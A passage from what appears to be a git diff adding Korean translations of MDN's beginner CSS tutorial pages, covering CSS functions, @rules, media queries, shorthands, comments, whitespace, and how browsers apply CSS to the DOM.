CSS 속성을 특정 값으로 설정하는 것은 CSS 언어의 핵심 기능입니다. CSS 엔진은 페이지의 모든 단일 요소에 적용할 선언을 계산하여 적절하게 배치하고 스타일을 지정합니다. 기억해야 할 것은 CSS 에서 속성과 값이 모두 대소문자를 구분한다는 것입니다. 각 쌍의 속성 과 값은 콜론 (:) 으로 구분됩니다.

+ +

다음 속성의 다른 값을 찾아 다른 HTML 요소에 적용하는 CSS 규칙을 작성하십시오:

+ + + +
+

중요: 속성을 알 수 없거나 지정된 속성에 대해 값이 유효하지 않은 경우, 선언이 유효하지 않은 것으로 간주되어 브라우저의 CSS 엔진에서 완전히 무시됩니다.

+
+ +
+

중요: CSS (및 기타 웹 표준) 에서, 언어의 불확실성이 발생하는 경우, 미국 맞춤법이 표준으로 합의 되었습니다. 예를 들어, color 는 항상  color 여야 합니다. colour 는 작동하지 않습니다.

+
+ +

함수 (function)

+ +

대부분의 값은 비교적 간단한 키워드 또는 숫자 값이지만, 함수의 형태를 취하는 몇 가지 가능한 값이 있습니다. calc() 함수를 예로 들 수 있습니다. 이 함수를 사용하면 CSS 내에서 간단한 계산을 수행할 수 있습니다. 예를 들면 다음과 같습니다:

+ +
+
<div class="outer"><div class="box">The inner box is 90% - 30px.</div></div>
+ +
.outer {
+  border: 5px solid black;
+}
+
+.box {
+  padding: 10px;
+  width: calc(90% - 30px);
+  background-color: rebeccapurple;
+  color: white;
+}
+
+ +

이것은 다음과 같이 렌더링 됩니다:

+ +

{{EmbedLiveSample('calc_example', '100%', 200)}}

+ +

함수는 함수 이름과 해당 함수에 허용된 값이 배치되는 괄호들로 구성됩니다. 위의 calc() 예제의 경우, 이 박스의 너비는 블록 너비의 90% 에서 30 px 을 뺀 값을 요구합니다. 이것은 90%가 무엇인지 알지 못하기 때문에 미리 계산하고 CSS 에 값을 입력할 수 있는 것이 아닙니다. 모든 값과 마찬가지로 MDN 의 관련 페이지에 사용법 예제가 있으므로 기능의 작동 방식을 확인할 수 있습니다.

+ +

또 다른 예는 rotate() 와 같은 {{cssxref("transform")}} 에 대한 다양한 값입니다.

+ +
+
<div class="box"></div>
+ +
.box {
+  margin: 30px;
+  width: 100px;
+  height: 100px;
+  background-color: rebeccapurple;
+  transform: rotate(0.8turn)
+}
+
+ +

위 코드의 결과는 다음과 같습니다:

+ +

{{EmbedLiveSample('transform_example', '100%', 200)}}

+ +

다음 속성의 다른 값을 찾아 다른 HTML 요소에 적용하는 CSS 규칙을 작성 하십시오:

+ + + +

@rules

+ +

아직, 우리는 @rules ("at-rules" 로 발음) 가 발생하지 않았습니다. 이것들은 CSS 에 행동 방법에 대한 지침을 제공하는 특수 규칙입니다. 일부 @rules 는 규칙 이름과 값으로 단순합니다. 예를 들어, 추가 스타일 시트를 기본 CSS 스타일 시트로 가져오려면 @import 를 사용할 수 있습니다:

+ +
@import 'styles2.css';
+ +

접하게 될 가장 일반적인 @rules 중 하나는 @media 입니다. 이는  특정 조건이 참일 때만 (예: 화면 해상도가 일정 폭 이상이거나 화면이 일정 폭 보다 넓을 때) CSS 를 적용할 수 있는 미디어 쿼리 를 사용할 수 있습니다.

+ +

아래 CSS 에는, <body> 요소에 분홍색 배경색을 주는 스타일 시트가 있습니다. 그러나, @media 를 사용하여 30em 보다 넓은 viewport 가 있는 브라우저에만 적용되는 스타일 시트 섹션을 만듭니다. 브라우저가 30em 보다 넓은 경우 배경색이 파란색이 됩니다.

+ +
body {
+  background-color: pink;
+}
+
+@media (min-width: 30em) {
+  body {
+    background-color: blue;
+  }
+}
+ +

이 자습서를 통해 다른 @rules 를 접하게 될 것입니다.

+ +

viewport 너비에 따라 스타일을 변경하는 미디어 쿼리를 CSS 에 추가할 수 있는지 확인 하십시오. 결과를 보려면 브라우저 창의 너비를 변경하십시오.

+ +

속기 (shorthands)

+ +

{{cssxref("font")}}, {{cssxref("background")}}, {{cssxref("padding")}}, {{cssxref("border")}} 및 {{cssxref("margin")}} 등의 일부 속성은 속기 속성 이라고 불립니다 — 이는 여러 줄의 속성 값을 한 줄로 설정하여 시간을 절약하고 작업에서 코드를 깔끔하게 만들 수 있기 때문입니다.

+ +

예를 들어, 다음 행은:

+ +
/* 패딩 및 마진과 같은 4-값 속기에서는 위, 오른쪽, 아래, 왼쪽 (위에서 부터 시계방향) 순서로 값이 적용됩니다.
+   위, 아래에 패딩 / 마진을 설정하고 왼쪽 / 오른쪽에 패딩 / 마진을 설정하는 다른 shorthand 유형 (예: 2-값 shorthands)도 있습니다. */
+padding: 10px 15px 15px 5px;
+ +

이것들은 모두 이것과 똑같습니까?

+ +
padding-top: 10px;
+padding-right: 15px;
+padding-bottom: 15px;
+padding-left: 5px;
+ +

다음 행은:

+ +
background: red url(bg-graphic.png) 10px 10px repeat-x fixed;
+ +

이 모든 것들과 같은 작업을 수행합니다:

+ +
background-color: red;
+background-image: url(bg-graphic.png);
+background-position: 10px 10px;
+background-repeat: repeat-x;
+background-attachment: fixed;
+ +

우리는 지금 이것들을 철저하게 가르치려고 하지 않을 것입니다 — 당신은 이 과정 후반에 많은 예제들을 보게 될 것입니다. 그리고 더 많은 정보를 얻기 위해, CSS 참조 에서 속기 속성 이름을 찾아 보는 것이 좋습니다.

+ +

위의 선언을 CSS 에 추가하여 HTML 스타일에 어떤 영향을 미치는지 확인 하십시오. 다른 값으로 실험해 보십시오.

+ +
+

경고: 속기는 종종 값을 놓칠 수 있지만, 포함하지 않은 값을 초기 값으로 재설정합니다. 이를 통해 합리적인 값 세트가 사용됩니다. 그러나, 속기에서 전달한 값만 변경하려는 경우에는 혼동 될 수 있습니다.

+
+ +

주석 (comments)

+ +

HTML 과 마찬가지로 CSS 에 주석을 달아 몇 달 후에 코드가 다시 작동 할 때, 코드 작동 방식을 이해하고 코드를 사용하는 다른 사람들이 이해하도록 도와주는 것이 좋습니다.

+ +

CSS 의 주석은 /* 로 시작하고 */ 로 끝납니다. 아래 코드 블록에서 주석을 사용하여 다른 고유 코드 섹션의 시작을 표시했습니다. 코드가 커질수록 코드를 탐색하는 데 유용합니다 — 코드 편집기에서 주석을 검색할 수 있습니다.

+ +
/* 기본 요소 스타일링 처리 */
+/* -------------------------------------------------------------------------------------------- */
+body {
+  font: 1em/150% Helvetica, Arial, sans-serif;
+  padding: 1em;
+  margin: 0 auto;
+  max-width: 33em;
+}
+
+@media (min-width: 70em) {
+  /* 전역 글꼴 크기의 특수한 경우를 봅시다.
+큰 화면이나 창에서 가독성을 높이기 위해,
+글꼴 크기를 늘립니다. */
+  body {
+    font-size: 130%;
+  }
+}
+
+h1 {font-size: 1.5em;}
+
+/* DOM 에 중첩된 특정 요소 처리  */
+/* -------------------------------------------------------------------------------------------- */
+div p, #id:first-line {
+  background-color: red;
+  border-radius: 3px;
+}
+
+div p {
+  margin: 0;
+  padding: 1em;
+}
+
+div p + p {
+  padding-top: 0;
+}
+ +

주석은 테스트 목적으로 코드의 특정 부분을 일시적으로 주석 처리 하는 경우에도 유용합니다. 예를 들어, 코드의 어느 부분에서 오류가 발생했는지 확인하려는 경우. 다음 예제에서는 .special 선택자에 대한 규칙을 주석 처리 했습니다.

+ +
/*.special {
+  color: red;
+}*/
+
+p {
+  color: blue;
+}
+ +

CSS 에 주석을 추가하여 사용에 익숙해 지십시오.

+ +

공백 (whitespace)

+ +

공백은 실제 공간, 탭 및 줄 바꿈을 의미합니다. HTML 과 같은 방식으로 브라우저는 CSS 내부의 많은 공백을 무시하는 경향이 있습니다. 가독성을 돕기위해 많은 공백이 있습니다.

+ +

아래 첫 번째 예에서는 각 선언 (및 규칙 시작/종료) 이 각 라인에 있습니다 — 이는 CSS 를 유지 관리하고 이해하기 쉽기 때문에 CSS 를 작성하는 좋은 방법입니다:

+ +
body {
+  font: 1em/150% Helvetica, Arial, sans-serif;
+  padding: 1em;
+  margin: 0 auto;
+  max-width: 33em;
+}
+
+@media (min-width: 70em) {
+  body {
+    font-size: 130%;
+  }
+}
+
+h1 {
+  font-size: 1.5em;
+}
+
+div p,
+#id:first-line {
+  background-color: red;
+  border-radius: 3px;
+}
+
+div p {
+  margin: 0;
+  padding: 1em;
+}
+
+div p + p {
+  padding-top: 0;
+}You could write exactly the same CSS like so, with most of the whitespace removed — this is functionally identical to the first example, but I'm sure you'll agree that it is somewhat harder to read:
+ +
body {font: 1em/150% Helvetica, Arial, sans-serif; padding: 1em; margin: 0 auto; max-width: 33em;}
+@media (min-width: 70em) { body {font-size: 130%;} }
+
+h1 {font-size: 1.5em;}
+
+div p, #id:first-line {background-color: red; border-radius: 3px;}
+div p {margin: 0; padding: 1em;}
+div p + p {padding-top: 0;}
+
+ +

대부분의 공백을 제거한 상태에서 정확히 동일한 CSS 를 작성할 수 있습니다. 이것은 첫 번째 예제와 기능적으로 동일하지만 읽기가 다소 어렵다는 데 동의합니다.

+ +
+

CSS 에서 속성 과 값 사이의 공백은 주의해야 합니다.

+
+ +

예를 들어, 다음 선언은 유효한 CSS 입니다:

+ +
margin: 0 auto;
+padding-left: 10px;
+ +

그러나 다음은 유효하지 않습니다:

+ +
margin: 0auto;
+padding- left: 10px;
+ +
+

0auto 는 margin 속성 (0 과 auto 는 두 개의 개별 값임)에 유효한 값으로 인식되지 않으며, 브라우저는 padding- 을 유효한 속성으로 인식하지 않습니다. 따라서 항상 공백으로 구분된 값을 구분해야 하지만 속성 이름과 속성 값을 하나의 끊김 없는 문자열로 유지해야 합니다.

+
+ +

CSS 내부에서 공백을 사용하여 문제를 해결하고 그렇지 않은 것을 확인하십시오.

+ +

다음은 뭐죠?

+ +

브라우저가 HTML 과 CSS 를 가져와서 웹 페이지로 전환하는 방법에 대해 약간 이해하는 것이 유용합니다. 따라서 다음 기사 — CSS 작동 방식 — 에서 해당 작업을 살펴 보겠습니다.

+ +

{{PreviousMenuNext("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}

+ +

이번 강의에서는

+ +
    +
  1. CSS 란 무엇인가?
  2. +
  3. CSS 시작하기
  4. +
  5. CSS 구조
  6. +
  7. CSS 작동 방식
  8. +
  9. 새로운 지식 사용
  10. +
diff --git a/files/ko/learn/css/first_steps/how_css_works/index.html b/files/ko/learn/css/first_steps/how_css_works/index.html new file mode 100644 index 0000000000..00104dfc85 --- /dev/null +++ b/files/ko/learn/css/first_steps/how_css_works/index.html @@ -0,0 +1,156 @@ +--- +title: CSS 작동 방식 +slug: Learn/CSS/First_steps/How_CSS_works +translation_of: Learn/CSS/First_steps/How_CSS_works +--- +

{{LearnSidebar}}
+ {{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}

+ +

CSS 기본 사항, CSS 의 목적 및 간단한 스타일 시트 작성 방법을 배웠습니다. 이 강의에서는 브라우저가 CSS 와 HTML 을 가져와서 웹 페이지로 만드는 방법을 살펴 봅니다.

+ + + + + + + + + + + + +
전제조건:기본적인 컴퓨터 활용능력, 기본 소프트웨어 설치파일 작업의 기본 지식 및 HTML 기본 사항 (HTML 소개 학습.)
목적:브라우저에서 CSS 와 HTML 을 구문 분석하는 방법의 기본 사항과 브라우저에서 CSS 를 이해하지 못할 경우 어떻게 되는지 이해하기.
+ +

CSS 는 실제로 어떻게 작동합니까?

+ +

브라우저가 문서를 표시할 때, 문서의 콘텐츠와 해당 스타일 정보를 결합해야 합니다. 아래 나열된 여러 단계로 문서를 처리합니다. 이것은 브라우저가 웹 페이지를 로드할 때 발생하는 작업의 매우 단순화된 버전이며, 다른 브라우저가 다른 방식으로 작업을 처리한다는 점을 명심하십시오. 그러나 이것은 대략 일어나는 일입니다.

+ +
    +
  1. 브라우저는 HTML (예: 네트워크에서 HTML 을 수신) 을 로드합니다.
  2. +
  3. {{Glossary("HTML")}} 을 {{Glossary("DOM")}} (Document Object Model) 로 변환합니다. DOM 은 컴퓨터 메모리의 문서를 나타냅니다. DOM 은 다음 섹션에서 좀 더 자세히 설명됩니다.
  4. +
  5. 그런 다음 브라우저는 포함된 이미지 및 비디오와 같은 HTML 문서에 연결된 대부분의 리소스와 연결된 CSS 를 가져옵니다! JavaScript 는 작업에서 나중에 처리되므로 더 간단하게 하기위해 여기에서는 다루지 않습니다.
  6. +
  7. 브라우저는 가져온 CSS 를 구문 분석하고 선택자 유형별로 다른 규칙을 다른 "buckets" 으로 정렬합니다. 예: 요소, class, ID 등 찾은 선택자를 기반으로 DOM 의 어느 노드에 어떤 규칙을 적용해야 하는지 결정하고, 필요에 따라 스타일을 첨부합니다 (이 중간 단계를 render tree 라고 합니다).
  8. +
  9. render tree 는 규칙이 적용된 후에 표시되어야 하는 구조로 배치됩니다.
  10. +
  11. 페이지의 시각적 표시가 화면에 표시됩니다 (이 단계를 painting 이라고 함).
  12. +
+ +

다음 그림은 작업의 간단한 보기를 제공합니다.

+ +

+ +

DOM 정보

+ +

DOM 은 트리와 같은 구조를 가지고 있습니다. 마크 업 언어의 각 요소, 속성 및 텍스트는 트리 구조에서 {{Glossary("Node/DOM","DOM node")}} 가 됩니다. 노드는 다른 DOM 노드와의 관계에 의해 정의됩니다. 일부 요소는 자식 노드의 부모이고 자식 노드에는 형제가 있습니다.

+ +

DOM 은 CSS 와 문서의 내용이 만나는 곳이기 때문에 DOM 을 이해하면 CSS 를 설계, 디버그 및 유지 관리하는 데 도움이 됩니다. 브라우저 DevTools 로 작업을 시작하면, 적용할 규칙을 보기 위해 항목을 선택할 때 DOM 을 탐색하게 됩니다.

+ +

실제 DOM 표현

+ +

길고 지루한 설명이 아니라 실제 HTML 이 DOM 으로 변환되는 방법을 보여주는 예제를 살펴 보겠습니다.

+ +

다음 HTML 코드를 사용하십시오:

+ +
<p>
+  Let's use:
+  <span>Cascading</span>
+  <span>Style</span>
+  <span>Sheets</span>
+</p>
+
+ +

DOM 에서, <p> 요소에 해당하는 노드는 부모입니다. 자식은 텍스트 노드이고 <span> 요소에 해당하는 세 개의 노드입니다. SPAN 노드는 부모이며, 텍스트 노드는 자식입니다:

+ +
P
+├─ "Let's use:"
+├─ SPAN
+|  └─ "Cascading"
+├─ SPAN
+|  └─ "Style"
+└─ SPAN
+   └─ "Sheets"
+
+ +

브라우저가 이전 HTML 을 해석하는 방법입니다 — 위의 DOM 트리를 렌더링 한 다음 브라우저에서 다음과 같이 출력합니다:

+ +

{{EmbedLiveSample('A_real_DOM_representation', '100%', 55)}}

+ + + +

DOM 에 CSS 적용하기

+ +

CSS 를 문서에 추가하여 스타일을 지정했다고 가정해 봅시다. 다시 한 번, HTML 은 다음과 같습니다:

+ +
<p>
+  Let's use:
+  <span>Cascading</span>
+  <span>Style</span>
+  <span>Sheets</span>
+</p>
+ +

다음 CSS 를 적용한다고 가정해 봅시다:

+ +
span {
+  border: 1px solid black;
+  background-color: lime;
+}
+ +

브라우저는 HTML 을 구문 분석하고 그로부터 DOM 을 작성한 다음, CSS 를 구문 분석합니다. CSS 에서 사용할 수 있는 유일한 규칙에는 span 선택자가 있으므로, 브라우저는 CSS 를 매우 빠르게 정렬할 수 있습니다! 이 규칙을 세 개의 <span> 각각에 적용한 다음 최종 시각적 표현을 화면에 표시합니다.

+ +

업데이트 된 출력은 다음과 같습니다:

+ +

{{EmbedLiveSample('Applying_CSS_to_the_DOM', '100%', 55)}}

+ +

다음 과목의 CSS 디버깅 기사에서 브라우저 DevTools 를 사용하여, CSS 문제를 디버깅하고 브라우저가 CSS 를 해석하는 방법에 대해 자세히 알아 봅니다.

+ +

브라우저에서 인식하지 못하는 CSS 를 발견하면 어떻게 됩니까?

+ +

이전 수업 에서 브라우저가 모두 동시에 새로운 CSS 를 구현하는 것은 아니라고 언급했습니다. 또한 많은 사람들이 최신 버전의 브라우저를 사용하지 않습니다. CSS 가 항상 개발되고 있으므로 브라우저가 인식할 수 있는 것보다 앞서 있기 때문에 브라우저가 CSS 선택자 또는 인식하지 못하는 선언을 발견하면 어떻게 될지 궁금할 수 있습니다.

+ +

대답은 아무것도 하지 않으며, CSS 의 다음 단계로 넘어갑니다!

+ +

브라우저가 규칙을 구문 분석하고 이해하지 못하는 속성 이나 값을 발견하면, 이를 무시하고 다음 선언으로 넘어갑니다. 오류가 발생하여 속성 또는 값의 철자가 틀렸거나 속성 또는 값이 너무 새롭고 브라우저가 아직 이를 지원하지 않는 경우, 이 작업을 수행합니다.

+ +

마찬가지로, 브라우저가 이해하지 못하는 선택자를 만나면, 전체 규칙을 무시하고 다음 규칙으로 넘어갑니다.

+ +

아래 예에서 나는 영국 영어 철자를 색상에 사용했는데, 그 속성은 인식되지 않기 때문에 유효하지 않습니다. 그래서 내 단락은 파란색으로 표시되지 않았습니다. 그러나 다른 모든 CSS 가 적용 되었습니다. 유효하지 않은 라인만 무시됩니다.

+ +
+
<p> 나는 이 텍스트를 크고 굵은 파란색으로 표시하고 싶습니다.</p>
+ +
p {
+  font-weight: bold;
+  colour: blue; /* color 속성의 잘못된 철자 */
+  font-size: 200%;
+}
+
+ +

{{EmbedLiveSample('Skipping_example', '100%', 200)}}

+ +

이 동작은 매우 유용합니다. 이는 새로운 CSS 를 향상된 기능으로 사용할 수 있음을 의미하며, 새 기능을 이해하지 못할 경우 오류가 발생하지 않습니다 — 브라우저는 새로운 기능을 얻거나 얻지 못합니다. cascade 작동 방식 및 브라우저가 스타일이 동일한 마지막 CSS 를 사용한다는 사실과 동일한 특성을 가진 두 규칙이 있을 경우, 새 CSS 를 지원하지 않는 브라우저에 대한 대안을 제공할 수도 있습니다.

+ +

이것은 새롭고 모든 곳에서 지원되지 않는 값을 사용하려는 경우 특히 효과적입니다. 예를 들어, 구형 브라우저는 calc() 를 값으로 지원하지 않습니다. 박스에 대해 대체 너비를 픽셀 단위로 지정한 다음, calc() 값을 100% - 50px 로 너비를 지정하십시오. 오래된 브라우저는 픽셀 버전을 사용하지만, 이해하지 못하는 calc() 에 대한 라인은 무시합니다. 새로운 브라우저는 픽셀을 사용하여 라인을 해석하지만, 나중에 cascade 에서 나타날 때 calc() 를 사용하여 라인을 재정의 합니다.

+ +
.box {
+  width: 500px;
+  width: calc(100% - 50px);
+}
+ +

우리는 이후 수업에서 다양한 브라우저를 지원하는 더 많은 방법을 다룰 것입니다.

+ +

마지막으로

+ +

이 강의를 거의 끝냈습니다; 할 일이 하나 더 있습니다. 다음 기사에서는 새로운 지식을 사용 하여 예제의 스타일을 변경하여 작업의 일부 CSS 를 테스트 합니다.

+ +

{{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}

+ +

이번 강의에서는

+ +
    +
  1. CSS 란 무엇인가?
  2. +
  3. CSS 로 시작하기
  4. +
  5. CSS 의 구조
  6. +
  7. CSS 작동 방식
  8. +
  9. 새로운 지식을 사용
  10. +
diff --git a/files/ko/learn/css/first_steps/index.html b/files/ko/learn/css/first_steps/index.html new file mode 100644 index 0000000000..e03e748853 --- /dev/null +++ b/files/ko/learn/css/first_steps/index.html @@ -0,0 +1,46 @@ +--- +title: CSS 첫 번째 단계 +slug: Learn/CSS/First_steps +translation_of: Learn/CSS/First_steps +--- +
{{LearnSidebar}}
+ +

CSS (Cascading Style Sheets) 는 콘텐츠의 글꼴, 색상, 크기 및 간격을 변경하거나 여러 열로 분할하거나 애니메이션 및 기타 장식 기능을 추가하는 등의 웹 페이지 스타일 및 레이아웃에 사용됩니다. 이 모듈은 작동 방식, 구문의 모양 및 HTML에 스타일을 추가하기 위해, 이를 사용하는 방법에 대한 기본 사항을 통해 CSS 를 마스터 하는 과정을 부드럽게 시작합니다.

+ +

전제 조건

+ +

이 모듈을 시작하기 전에, 다음이 있어야 합니다:

+ +
    +
  1. 컴퓨터를 사용하고 웹을 수동적으로 사용하는 것에 대한 기본적인 친숙성 (예: 콘텐츠를 보는 것) 입니다.
  2. +
  3. 기본 소프트웨어 설치 에서 자세히 설명한 대로 설정된 기본 작업 환경과 파일 다루기 에서 자세히 설명한 대로 파일을 생성하고 관리하는 방법을 이해합니다.
  4. +
  5. HTML 소개 에서 설명한 바와 같이 HTML에 대한 기본적인 친숙성입니다.
  6. +
+ +
+

참고:  자신의 파일을 만들 수 없는 컴퓨터/태블릿/기타 장치에서 작업하는 경우, JSBin 또는 Glitch 와 같은 온라인 코딩 프로그램에서 코드 예제를 시험해 볼 수 있습니다.

+
+ +

안내

+ +

이 모듈에서는 CSS 의 모든 기본 이론을 익히고, 몇 가지 기술을 테스트 할 수 있는 기회를 제공하는 다음과 같은 기사가 포함되어 있습니다.

+ +
+
CSS 란 무엇인가?
+
{{Glossary("CSS")}} (Cascading Style Sheets) 를 사용하면 멋진 웹 페이지를 만들 수 있지만 어떻게 작동합니까? 이 기사에서는 간단한 구문 예제를 통해 CSS 가 무엇인지 설명하고 언어에 대한 몇 가지 주요 용어를 다룹니다.
+
CSS 로 시작하기
+
이 기사에서는 간단한 HTML 문서를 가져와서 CSS 를 적용하여 언어에 대한 실질적인 내용을 학습합니다.
+
CSS 의 구조
+
CSS 가 무엇인지, 그리고 CSS 의 기본 사용법에 대해 알고 있습니다. 이제 언어 자체의 구조를 조금 더 깊이 살펴볼 차례입니다. 우리는 이미 여기에서 논의된 많은 개념들을 만났습니다. 나중에 헷갈리는 개념을 발견하면 다시 이 개념으로 돌아와서 요약 할 수 있습니다.
+
CSS 작동 방식
+
CSS 의 기본 사항, 목적 및 간단한 스타일 시트 작성 방법을 배웠습니다. 이 강의에서는 브라우저가 CSS 와 HTML 을 가져와서 웹 페이지로 만드는 방법을 살펴 봅니다.
+
새로운 지식 사용
+
지난 몇 단원에서 배운 내용을 통해 CSS 를 사용하여 간단한 텍스트 문서의 서식을 지정하고 자신만의 스타일을 추가 할 수 있다는 것을 알게 될 것입니다. 이 기사는 그렇게 할 수 있는 기회를 제공합니다.
+
+ +

참고 항목

+ +
+
중급자 웹 활용 능력 1: CSS 소개
+
CSS 소개  모듈에서 이야기 한 많은 기술을 탐구하고 테스트하는 훌륭한 모질라 기초 과정입니다. 웹 페이지, CSS 선택자, 속성 및 값의 HTML 요소 스타일 지정에 대해 학습합니다.
+
diff --git a/files/ko/learn/css/first_steps/using_your_new_knowledge/index.html b/files/ko/learn/css/first_steps/using_your_new_knowledge/index.html new file mode 100644 index 0000000000..6a1795419c --- /dev/null +++ b/files/ko/learn/css/first_steps/using_your_new_knowledge/index.html @@ -0,0 +1,96 @@ +--- +title: 새로운 지식을 사용하기 +slug: Learn/CSS/First_steps/Using_your_new_knowledge +translation_of: Learn/CSS/First_steps/Using_your_new_knowledge +--- +

{{LearnSidebar}}{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}

+ +

지난 몇 단원에서 배운 내용을 통해 CSS 를 사용하여 간단한 텍스트 문서의 서식을 지정하여 자신만의 스타일을 추가 할 수 있다는 것을 알게 될 것입니다. 이 평가는 그 기회를 제공합니다.

+ + + + + + + + + + + + +
전제조건:이 평가를 시도하기 전에 나머지 CSS 기본 과목을 살펴보고 HTML 기본 사항 (HTML 소개 학습) 을 이해해야 합니다.
목적:CSS 를 가지고 놀면서 새로운 지식을 테스트하기
+ +

시작점

+ +

아래의 라이브 편집기에서 작업하거나 , 시작점을 다운로드 하여 자신의 편집기에서 작업할 수 있습니다. 이 페이지는 HTML 과 문서 head 의 시작점 CSS 가 포함된 단일 페이지 입니다. 원하는 경우 로컬 컴퓨터에서 예제를 만들 때, 이 CSS 를 별도의 파일로 옮길수 있습니다. 또는 CodePenjsFiddle 또는 Glitch 와 같은 온라인 도구를 사용하여 작업을 수행하십시오.

+ +
+

참고: 문제가 발생하면, 도움을 요청하십시오 — 이 페이지 하단의 평가 또는 추가 도움말 섹션을 참조하십시오.

+
+ +

CSS 를 사용한 작업

+ +

다음 라이브 예는 CSS 를 사용하여 스타일이 지정된 전기(biography) 를 보여줍니다. 내가 사용한 CSS 속성은 다음과 같습니다 — 각 속성은 MDN 의 속성 페이지에 연결되어 더 많은 사용 예를 제공합니다.

+ + + +

나는 선택자, h1 및 h2 와 같은 스타일 요소를 혼합하여 사용했지만, 작업 제목 및 스타일을 위한 class 를 만들었습니다.

+ +

CSS 를 사용하여 내가 사용한 속성 값을 변경하여 이 전기(biography) 의 모양을 변경하십시오.

+ +
    +
  1. CSS color 키워드인 hotpink 를 사용하여 h1 제목을 분홍색으로 만듭니다.
  2. +
  3. CSS color 키워드 purple 을 사용하는 10px 점선 {{cssxref("border-bottom")}} 을 제목으로 지정하십시오.
  4. +
  5. h2 제목을 기울임 꼴로 만듭니다.
  6. +
  7. 연락처 세부 정보에 사용된 ul 에 {{cssxref("background-color")}} 를 #eeeeee 및 5px 의 단색 자주색 {{cssxref("border")}} 으로 만듭니다. {{cssxref("padding")}} 을 사용하여 콘텐츠를 테두리에서 밀어냅니다.
  8. +
  9. 마우스를 가리키면 green 으로 만듭니다.
  10. +
+ +

이 이미지와 비슷한 결과가 나옵니다.

+ +

Screenshot of how the example should look after completing the assessment.

+ +

그런 다음 MDN CSS 참조 에서 이 페이지에 언급되지 않은 일부 속성을 찾아보고 시도해 보십시오!

+ +

여기에 오답이 없다는 것을 기억하십시오 — 이 단계의 학습에서는 약간의 즐거움을 가질 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/getting-started/biog.html", '100%', 1600)}} 

+ +

평가 또는 추가 도움

+ +

작업을 평가하고 싶거나 작업이 정체되어 도움을 요청하려는 경우:

+ +
    +
  1. 작업을 CodePenjsFiddle 또는 Glitch 와 같은 온라인 공유 가능 편집기에 입력합니다.
  2. +
  3. MDN 토론 포럼 학습 카데고리 에 평가 및  도움을 요청하는 게시물을 작성 하십시오. 게시물에는 다음이 포함되어야 합니다: +
      +
    • "CSS 첫 단계에 대한 평가가 필요했습니다" 와 같은 설명적인 제목입니다.
    • +
    • 당신이 이미 시도한 내용 및 당신이 우리가 무엇을 하기를 원하는지에 대한 세부 사항 입니다. 예: 당신이 정체되어 있고 도움이 필요하거나 평가를 원하는지에 대한 세부사항들.
    • +
    • 온라인 공유 가능 편집기 (위의 1 단계에서 언급한) 에서 평가하거나 도움이 필요한 예에 대한 링크입니다. 이것은 좋은 습관입니다 — 코드가 보이지 않으면 코딩에 문제가 있는 사람을 돕는 것이 매우 어렵습니다.
    • +
    • 실제 작업 또는 평가 페이지에 대한 링크로 도움이 필요한 질문을 찾을 수 있습니다.
    • +
    +
  4. +
+ +

다음은 뭐죠?

+ +

첫 번째 강의를 완료한 것을 축하합니다. 이제 CSS 에 대해 잘 이해하고 스타일 시트에서 발생하는 많은 부분을 이해할 수 있어야 합니다. 다음 강의인 CSS building blocks 에서는 여러 가지 주요 영역을 자세히 살펴보겠습니다.

+ +

{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}

+ +

이번 강의에서는

+ +
    +
  1. CSS 란 무엇인가?
  2. +
  3. CSS 로 시작하기
  4. +
  5. CSS 의 구조
  6. +
  7. CSS 작동 방식
  8. +
  9. 새로운 지식을 사용하기
  10. +
diff --git a/files/ko/learn/css/first_steps/what_is_css/index.html b/files/ko/learn/css/first_steps/what_is_css/index.html new file mode 100644 index 0000000000..8467bca311 --- /dev/null +++ b/files/ko/learn/css/first_steps/what_is_css/index.html @@ -0,0 +1,119 @@ +--- +title: CSS 란 무엇인가? +slug: Learn/CSS/First_steps/What_is_CSS +translation_of: Learn/CSS/First_steps/What_is_CSS +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}
+ +

{{Glossary("CSS")}} (Cascading Style Sheets) 를 사용하면 멋진 웹 페이지를 만들 수 있지만, 어떻게 작동합니까? 이 기사에서는 간단한 구문 예제를 통해 CSS가 무엇인지 설명하고 언어에 대한 몇 가지 주요 용어를 다룹니다.

+ + + + + + + + + + + + +
전제조건:컴퓨터 기본 활용 능력, 기본 소프트웨어 설치파일 작업 에 대한 기본 지식 및 HTML 기본 사항 (HTML 소개 학습)
목적:CSS가 무엇인지 배우기.
+ +

HTML 소개 단원에서는 HTML 이 무엇인지, 그리고 문서를 마크 업하는 데 사용되는 방법에 대해 설명했습니다. 이 문서는 웹 브라우저에서 읽을 수 있습니다. 제목은 일반 텍스트보다 크게 보이며, 단락은 줄바꿈이 되고 공백이 있습니다. 링크는 텍스트의 나머지 부분과 구분하기 위해 색상과 밑줄이 표시됩니다. 현재 보고 있는 것은 브라우저의 기본 스타일입니다. 페이지 작성자가 명시적인 스타일을 지정하지 않은 경우에도 기본적으로 읽을 수 있도록 브라우저가 HTML에 적용하는 매우 기본적인 스타일입니다.

+ +

The default styles used by a browser

+ +

그러나, 모든 웹 사이트가 그렇게 보인다면 웹은 지루한 곳이 될 것입니다. CSS를 사용하면 브라우저에서 HTML 요소의 모양을 정확하게 제어하고 원하는 디자인을 사용하여 마크 업을 표시할 수 있습니다.

+ +

CSS 란 무엇입니까?

+ +

앞에서 언급했듯이, CSS 는 사용자에게 문서를 표시하는 방법을 지정하는 언어입니다 — 스타일, 레이아웃 등.

+ +

문서는 일반적으로 마크 업 언어를 사용하여 구성된 텍스트 파일입니다 — {{Glossary("HTML")}} 이 가장 일반적인 마크 업 언어이지만, {{Glossary("SVG")}} 또는 {{Glossary("XML")}} 과 같은 다른 마크 업 언어를 사용할 수도 있습니다.

+ +

